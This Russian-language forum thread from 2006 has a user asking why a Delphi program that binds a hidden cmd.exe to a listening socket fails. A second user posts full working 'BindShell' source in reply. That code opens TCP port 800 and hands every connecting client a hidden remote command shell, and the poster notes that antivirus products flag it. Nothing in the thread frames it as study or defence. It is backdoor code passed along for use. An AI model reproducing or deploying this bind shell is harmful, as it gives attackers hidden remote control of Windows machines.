Проблема при связывании сокета с консолью
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
Проблема при связывании сокета с консолью - 2006-11-14 12:36:23.586666
|
|
|
SLESH
Сообщений: 109
Оценки: 0
Присоединился: 2005-08-19 11:37:22
|
Проблема возникла при написании програмки которая ждет подключения к определенному порту, потом запускает cmd.exe и связывает с ним дискриптор сокета. Вродебы во всех Шел-кодах делается так… Тестировалось это на Windows XP Corporation SP2 var … mysock,csocket:tsocket; caddr:sockaddr_in; cs:integer; si:TStartupInfo; pi:TProcessInformation; … begin … csocket:=accept(mysock,caddr,cs); si.cb:=SizeOf(si); si.hStdInput:=csocket; si.hStdOutput:=csocket; si.hStdError:=csocket; si.dwFlags:=STARTF_USESTDHANDLES+STARTF_USESHOWWINDOW; si.wShowWindow:=sw_hide; CreateProcess(nil,'CMD', nil, nil,true,0,0,0,si,pi); Весь прикол в том, что при указании: si.dwFlags:=STARTF_USESTDHANDLES+STARTF_USESHOWWINDOW; CMD.exe запускается, но сразу закрывается. Проблема решается: si.dwFlags:=STARTF_USESHOWWINDOW; Но тогда cmd.exe не наследует дискриптор сокета. И следовательно данные из сокате не перенаправляются в консоль, и наоборот из консоли не идут в сокет. Подскажите как решить данную проблему!
|
|
|
RE: Проблема при связывании сокета с консолью - 2006-11-14 20:06:20.116666
|
|
|
blacksun
Сообщений: 2360
Оценки: 0
Присоединился: 2006-09-27 03:05:59.350000
|
Был у меня гдето рабочий исходник .. потерялся :) вообшем поиши в гугле "BindShell"
|
|
|
RE: Проблема при связывании сокета с консолью - 2006-11-14 20:11:19.103333
|
|
|
blacksun
Сообщений: 2360
Оценки: 0
Присоединился: 2006-09-27 03:05:59.350000
|
// нашел :) НО! его палят анивири … :( program BindShell; uses Windows, WinSock; function WSASocketA(af, wType, protocol: integer; lpProtocolInfo: pointer; g, dwFlags: dword): integer; stdcall; external 'ws2_32.dll'; var WSAData: TWSAData; FSocket: integer; SockAddrIn: TSockAddrIn; sHandle: dword; St: TStartupInfo; Pr: TProcessInformation; begin WSAStartup($202, WSAData); // инициализация WinSocks2 // создаем сокет FSocket := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0); SockAddrIn.sin_family := AF_INET; SockAddrIn.sin_port := htons(800); // назначаем 800 TCP порт для открытия шела bind(FSocket, SockAddrIn, 16); listen(FSocket, 0); // открываем порт while true do begin sHandle := accept(FSocket, nil, 0); // ожидаем соединения if sHandle <> INVALID_SOCKET then begin ZeroMemory(@St, SizeOf(TStartupInfo)); St.cb := SizeOf(TStartupInfo); St.wShowWindow := SW_HIDE; St.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW; St.hStdInput := sHandle; St.hStdOutput := sHandle; St.hStdError := sHandle; // запускаем cmd.exe с перенаправлением ввода-вывода CreateProcess(nil, 'cmd.exe', nil, nil, true, 0, nil, nil, St, Pr); CloseHandle(sHandle); CloseHandle(Pr.hProcess); CloseHandle(Pr.hThread); end; end; end.
|
|
|
|
|